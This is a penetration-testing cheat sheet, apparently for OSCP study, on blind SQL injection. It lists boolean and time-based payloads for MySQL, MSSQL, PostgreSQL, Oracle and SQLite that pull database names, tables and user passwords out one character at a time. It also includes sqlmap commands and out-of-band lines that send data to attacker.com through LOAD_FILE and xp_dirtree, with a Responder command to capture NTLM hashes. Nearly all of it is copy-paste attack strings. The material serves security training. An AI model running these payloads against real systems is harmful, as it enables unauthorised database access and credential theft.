Blind SQL Injection — Boolean & Time-Based

What is Blind SQLi?

Blind means the database query results are never shown in the HTTP response. You can’t see data directly — instead you ask yes/no questions and infer data one bit at a time.

TypeHow it worksSpeed
Boolean-BasedTrue query → normal page / False query → different pageSlow
Time-BasedTrue condition → delay / False → instantSlowest

When to use Blind: Union-based doesn’t work (no reflection), error-based doesn’t work (errors hidden), but the page behaves differently depending on your query — or delays.


📌 1) Boolean-Based Blind — Step by Step

Confirm it’s boolean injectable

-- Both should produce DIFFERENT page responses
?id=1 AND 1=1--      True  → normal page (original content)
?id=1 AND 1=2--      False → different page (empty, error, missing content)
 
-- String context
?id=1' AND '1'='1'-- True
?id=1' AND '1'='2'-- False
 
-- Without closing quote (integer injection)
?id=1 AND 1=1
?id=1 AND 1=2

If the page is truly identical for true and false → it’s NOT boolean injectable. Try time-based instead.


Extract data character by character

Boolean blind extracts each character by asking: “Is the Nth character of [value] equal to [char]?”

Template

-- Generic template (MySQL)
?id=1 AND SUBSTRING([TARGET],POSITION,1)='[CHAR]'--
 
-- Example: is the first character of database() equal to 'a'?
?id=1 AND SUBSTRING(database(),1,1)='a'--   False
?id=1 AND SUBSTRING(database(),1,1)='e'--   True  →  first char is 'e'
?id=1 AND SUBSTRING(database(),2,1)='x'--   continue for next char

Extract the database name

-- MySQL
?id=1 AND SUBSTRING(database(),1,1)='a'--
?id=1 AND SUBSTRING(database(),1,1)='b'--
... (try a-z, 0-9, _ until True)
 
-- More efficient: use ASCII + binary search
?id=1 AND ASCII(SUBSTRING(database(),1,1))>64--    True (char > '@')
?id=1 AND ASCII(SUBSTRING(database(),1,1))>96--    True (char > '`')
?id=1 AND ASCII(SUBSTRING(database(),1,1))>109--   False
?id=1 AND ASCII(SUBSTRING(database(),1,1))>102--   True
?id=1 AND ASCII(SUBSTRING(database(),1,1))=101--   True → char is 'e' (ASCII 101)

Extract table names (MySQL)

-- Get first table name (character by character)
?id=1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u'--
 
-- With ASCII
?id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117--
 
-- Get second table (LIMIT 1,1)
?id=1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),1,1)='p'--

Extract column names

?id=1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='u'--

Extract data from a table

-- Is the first character of the first username 'a'?
?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)='a'--
 
-- Is the first character of the first password 'p'?
?id=1 AND SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='p'--

DB-Specific Boolean Payloads

-- MySQL
SUBSTRING(str, pos, len)
MID(str, pos, len)            -- alias for SUBSTRING
LEFT(str, len)                -- first N chars
RIGHT(str, len)               -- last N chars
LOCATE('char', str) > 0       -- does string contain char?
 
-- MSSQL
SUBSTRING(str, pos, len)
CHARINDEX('char', str) > 0
LEFT(str, len)
ASCII(SUBSTRING(str, pos, 1))
 
-- PostgreSQL
SUBSTRING(str FROM pos FOR len)
SUBSTR(str, pos, len)
ASCII(SUBSTR(str, pos, 1))
POSITION('char' IN str) > 0
 
-- Oracle
SUBSTR(str, pos, len)
ASCII(SUBSTR(str, pos, 1))
INSTR(str, 'char') > 0
 
-- ─── Confirm existence ────────────────────────────────────────
-- Does the users table exist?
?id=1 AND (SELECT COUNT(*) FROM users)>0--
-- MySQL
?id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')=1--
-- MSSQL
?id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')=1--

-- Greater than / less than (binary search is faster than brute force)
?id=1 AND ASCII(SUBSTRING(database(),1,1))>100--
?id=1 AND ASCII(SUBSTRING(database(),1,1))<120--
?id=1 AND ASCII(SUBSTRING(database(),1,1))=109--   -- found: 'm' = 109
 
-- BETWEEN
?id=1 AND ASCII(SUBSTRING(database(),1,1)) BETWEEN 97 AND 122--   -- lowercase letter

Automation hint

Doing this manually for a full database is impractical. Use SQLMap for boolean blind:

sqlmap -u "http://target/page.php?id=1" --technique=B --dbs --batch

📌 2) Time-Based Blind — Step by Step

Time-based blind injects a conditional delay: if the condition is true → sleep; if false → respond immediately. You measure the response time.

Confirm it’s time-injectable

-- MySQL — SLEEP(5)
?id=1 AND SLEEP(5)--          →  does the page take ~5 extra seconds?
 
-- MSSQL — WAITFOR DELAY
?id=1; WAITFOR DELAY '0:0:5'--
 
-- PostgreSQL — pg_sleep
?id=1 AND 1=1 AND pg_sleep(5)--
?id=1; SELECT pg_sleep(5)--
 
-- Oracle — DBMS_PIPE.RECEIVE_MESSAGE
?id=1 AND 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1--
 
-- SQLite — randomblob (heavy compute)
?id=1 AND 1=1 AND randomblob(100000000)--

Rule of thumb: Use 3–5 seconds — long enough to detect confidently, short enough to be practical.


Conditional sleep — extract data

The pattern: IF (condition is true) THEN sleep, ELSE don’t sleep

-- MySQL
?id=1 AND IF(1=1, SLEEP(5), 0)--        → sleeps 5s (condition true)
?id=1 AND IF(1=2, SLEEP(5), 0)--        → instant (condition false)
 
-- Template: extract a character
?id=1 AND IF(SUBSTRING(database(),1,1)='e', SLEEP(5), 0)--
-- → If first char of DB name is 'e', page delays 5 seconds
 
-- Extract database name
?id=1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--  no delay
?id=1 AND IF(SUBSTRING(database(),1,1)='e', SLEEP(5), 0)--  5s delay → first char is 'e'
?id=1 AND IF(SUBSTRING(database(),2,1)='x', SLEEP(5), 0)--  continue...
 
-- Using ASCII for binary search
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0)--

MSSQL Time-Based

-- Basic delay
'; WAITFOR DELAY '0:0:5'--
 
-- Conditional delay (IF/ELSE)
'; IF (1=1) WAITFOR DELAY '0:0:5'--
'; IF (1=2) WAITFOR DELAY '0:0:5'--   no delay
 
-- Extract data
'; IF (SUBSTRING(db_name(),1,1)='m') WAITFOR DELAY '0:0:5'--
'; IF (ASCII(SUBSTRING(db_name(),1,1))>100) WAITFOR DELAY '0:0:5'--
 
-- Table existence check
'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5'--

PostgreSQL Time-Based

-- Basic
?id=1 AND 1=1 AND pg_sleep(5)--
?id=1; SELECT pg_sleep(5)--
 
-- Conditional (CASE WHEN)
?id=1 AND CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
?id=1 AND CASE WHEN (1=2) THEN pg_sleep(5) ELSE pg_sleep(0) END--   instant
 
-- Extract data
?id=1 AND CASE WHEN (SUBSTR(current_database(),1,1)='p') THEN pg_sleep(5) ELSE pg_sleep(0) END--
?id=1 AND CASE WHEN (ASCII(SUBSTR(current_database(),1,1))>100) THEN pg_sleep(5) ELSE pg_sleep(0) END--

Oracle Time-Based

-- Uses heavy function for delay (no simple SLEEP)
?id=1 AND 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1--
 
-- Conditional
?id=1 AND CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE NULL END=1--
?id=1 AND CASE WHEN (SUBSTR(user,1,1)='S') THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE NULL END=1--
 
-- Alternative (if DBMS_PIPE not available)
?id=1 AND CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM all_objects a, all_objects b) ELSE NULL END>1--

SQLite Time-Based

-- No sleep function — use heavy computation
?id=1 AND randomblob(100000000)--   might delay on slow servers
 
-- With condition
?id=1 AND CASE WHEN (1=1) THEN randomblob(100000000) ELSE 0 END--

📌 3) Out-of-Band (DNS Exfiltration)

Less common on OSCP, but worth knowing. Data is sent to an attacker-controlled server via DNS lookup or HTTP request.

MySQL

-- DNS exfil via LOAD_FILE (Windows only, needs FILE priv)
?id=1 AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--
-- MySQL on Windows makes a DNS lookup for [dbname].attacker.com

MSSQL

-- DNS exfil via xp_dirtree (no xp_cmdshell needed)
'; EXEC xp_dirtree '\\attacker.com\share'--
-- Also captures NTLM hash → catch with Responder
 
-- Capture hash with Responder
sudo responder -I tun0 -v

📌 4) Practical Detection Checklist

1. Test basic injection:
   ' → syntax error?
   '' → no error?

2. Test boolean:
   AND 1=1-- → different from AND 1=2--?

3. Test time:
   AND SLEEP(5)-- → delay?
   MySQL: AND SLEEP(5)--
   MSSQL: ; WAITFOR DELAY '0:0:5'--
   PgSQL: AND pg_sleep(5)--

4. No visible difference at all?
   → Try in different parameters (headers, cookies)
   → Use SQLMap with all techniques: --technique=BEUSTQ

5. Confirmed blind injection?
   → Use SQLMap: sqlmap -r request.txt --batch --dbs

📌 Quick OSCP Cheat Sheet (Copy/Paste)

-- ─── CONFIRM BOOLEAN BLIND ────────────────────────────────────
?id=1 AND 1=1--         (true → normal page)
?id=1 AND 1=2--         (false → different page)
 
-- ─── CONFIRM TIME BLIND ───────────────────────────────────────
?id=1 AND SLEEP(5)--                          MySQL
?id=1; WAITFOR DELAY '0:0:5'--                MSSQL
?id=1 AND 1=1 AND pg_sleep(5)--               PostgreSQL
 
-- ─── BOOLEAN EXTRACT (MySQL) ──────────────────────────────────
-- Is database name first char 'e'?
?id=1 AND SUBSTRING(database(),1,1)='e'--
-- ASCII binary search (faster)
?id=1 AND ASCII(SUBSTRING(database(),1,1))>100--
 
-- Table name
?id=1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u'--
 
-- Data
?id=1 AND SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='p'--
 
-- ─── TIME EXTRACT (MySQL) ─────────────────────────────────────
?id=1 AND IF(SUBSTRING(database(),1,1)='e', SLEEP(5), 0)--
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0)--
?id=1 AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)--
?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='p', SLEEP(5), 0)--
 
-- ─── TIME EXTRACT (MSSQL) ─────────────────────────────────────
'; IF (ASCII(SUBSTRING(db_name(),1,1))>100) WAITFOR DELAY '0:0:5'--
'; IF ((SELECT COUNT(*) FROM users)>0) WAITFOR DELAY '0:0:5'--
 
-- ─── TIME EXTRACT (PostgreSQL) ────────────────────────────────
?id=1 AND CASE WHEN (SUBSTR(current_database(),1,1)='p') THEN pg_sleep(5) ELSE pg_sleep(0) END--
 
-- ─── AUTOMATE WITH SQLMAP ─────────────────────────────────────
sqlmap -u "http://target/page.php?id=1" --technique=BT --dbs --batch --level=3
sqlmap -r request.txt --technique=BT --dbs --batch